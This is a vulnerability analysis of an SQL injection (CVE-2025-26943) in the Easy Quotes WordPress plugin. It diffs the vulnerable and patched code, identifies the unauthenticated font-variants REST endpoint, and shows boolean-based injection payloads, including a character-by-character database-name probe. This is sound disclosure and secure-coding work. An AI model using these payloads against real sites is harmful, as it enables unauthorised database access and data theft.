Contents

CVE-2025-26943 Analysis & POC

A vulnerability exists in the Easy Quotes WordPress plugin prior to version 1.2.3. This can allow an attacker to interact directly with your database, including but not limited to data exfiltration.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Easy Quotes Plugin: v1.2.2 (vulnerable) and v1.2.3 (fixed)
  • diff tool: meld or any tool capable of comparing two versions to show differences

The application injects user-supplied data directly into an SQL query without appropriate protections, which leads to SQL Injection.

Use any diff tool to compare the vulnerable version and the patched version. A clear difference exists in the file includes/quotes-data.php:

private static function get_family_data($family) {
    /** @var wpdb $wpdb */
    global $wpdb;
    $tablename = $wpdb->prefix . 'easy-quotes-families';
    return $wpdb->get_row("SELECT * FROM `".$tablename."` WHERE `family`='".$family."';");
}

The patch uses $wpdb->prepare() instead of concatenating user-supplied data directly into the query:

private static function get_family_data($family) {
    /** @var wpdb $wpdb */
    global $wpdb;
    $tablename = $wpdb->prefix . 'easy-quotes-families';
    $sql = $wpdb->prepare(
        "SELECT * FROM %i WHERE `family` = %s",
        $tablename, $family
    );
    return $wpdb->get_row($sql);
}
Patch diff

Patch diff

Many other functions were patched the same way, such as get_font_variant($family_id, $variant_id), get_font_variants($family), and get_fonts($category = -1).

Although get_fonts_categories() was also updated, it does not accept user input and is thus not relevant to the SQLi issue:

public static function get_fonts_categories() {
    /** @var wpdb $wpdb */
    global $wpdb;
    $tablename = $wpdb->prefix . 'easy-quotes-categories';
    $sql = $wpdb->prepare(
        "SELECT `category_id`, `category` FROM %i",
        $tablename
    );
    return $wpdb->get_results($sql);
}

We exploit the SQL Injection in the function get_family_data($family), and other functions are vulnerable in a similar manner.

get_family_data() is a private function in the Quotes_Data class (the example below shows context):

class Quotes_Data
{
    function __construct()
    {
        add_filter('posts_where', array($this, 'posts_where'), 10, 2);
    }

    // other functions

    public static function get_font_variants($family) {
        $familyData = self::get_family_data($family);
        // other logic
    }

    public static function get_family($family, $variant_id) {
        $family_data = (array)self::get_family_data($family);
        // other logic
    }

    private static function get_family_data($family) {
        /** @var wpdb $wpdb */
        global $wpdb;
        $tablename = $wpdb->prefix . 'easy-quotes-families';
        return $wpdb->get_row("SELECT * FROM `".$tablename."` WHERE `family`='".$family."';");
    }
}

get_family_data() is called by get_family() and get_font_variants(); to find where these are used, search for get_family or get_font_variants.

Search function

Search function

The get_font_variants() function is invoked by rest_route_callback_font_variants() in the Quotes_Rest_Route class:

class Quotes_Rest_Route
{
    function __construct()
    {
        add_action('rest_api_init', array($this, 'rest_api_init'));
    }

    /**
     * Register my REST route
     *
     * @return void
     */
    function rest_api_init($wp_rest_server)
    {
        $args = [
            'method'                => WP_REST_Server::READABLE,
            'callback'              => [$this, 'rest_route_callback_quote'],
            'permission_callback'   => '__return_true'
        ];
        register_rest_route('layart/v1', '/quote', $args);

        // other logic

        $args['callback'] = [$this, 'rest_route_callback_font_variants'];
        register_rest_route('layart/v1', '/font-variants', $args);
    }

    // other functions

    function rest_route_callback_font_variants(WP_REST_Request $request)
    {
        $family = $request->get_param('family');
        $family = isset($family) ? $family : "Shadows Into Light";

        $response = Quotes_Data::get_font_variants($family);
        return rest_ensure_response($response);
    }
}

The constructor of Quotes_Rest_Route uses add_action('rest_api_init', ...) to register endpoints with WordPress’s REST API system.

The callback rest_route_callback_font_variants corresponds to the endpoint /wp-json/layart/v1/font-variants?family=family_name. If the family parameter is not provided, it defaults to Shadows Into Light.

We use a Boolean-based SQL Injection technique to test whether the family parameter is injectable.

True request (example): When the injected condition evaluates to true, the query returns normally:

SELECT * FROM wp_easy-quotes-families WHERE family='Roboto' AND '1'='1';

False request (example): When the injected condition is false, no results are returned:

SELECT * FROM wp_easy-quotes-families WHERE family='Roboto' AND '1'='2';

A prerequisite to dumping data is being able to extract a single character of the database name; once you can obtain one character, you can typically extract the rest.

In my test environment the database name is wordpress, so the first character is w.

First letter

First letter

A payload checking SUBSTRING(DATABASE(),1,1)='w' returns data normally, confirming the first letter is w:

SELECT * FROM wp_easy-quotes-families WHERE family='Roboto' AND SUBSTRING(DATABASE(),1,1)='w';

The vulnerability CVE-2025-26943 in the WordPress Easy Quotes plugin (versions prior to 1.2.3) is caused by concatenating user-supplied input directly into SQL queries instead of using prepared statements ($wpdb->prepare), which results in SQL Injection.

The official patch replaces string concatenation with $wpdb->prepare, ensuring user input is safely handled.

Key takeaways:

  • Always use $wpdb->prepare() when interacting with the database in WordPress to prevent SQL Injection.
  • Regularly update plugins and perform security checks to avoid becoming an attack target.

SQL Injection cheat sheet - PortSwigger

WordPress Easy Quotes Plugin <= 1.2.2 is vulnerable to SQL Injection

Related Content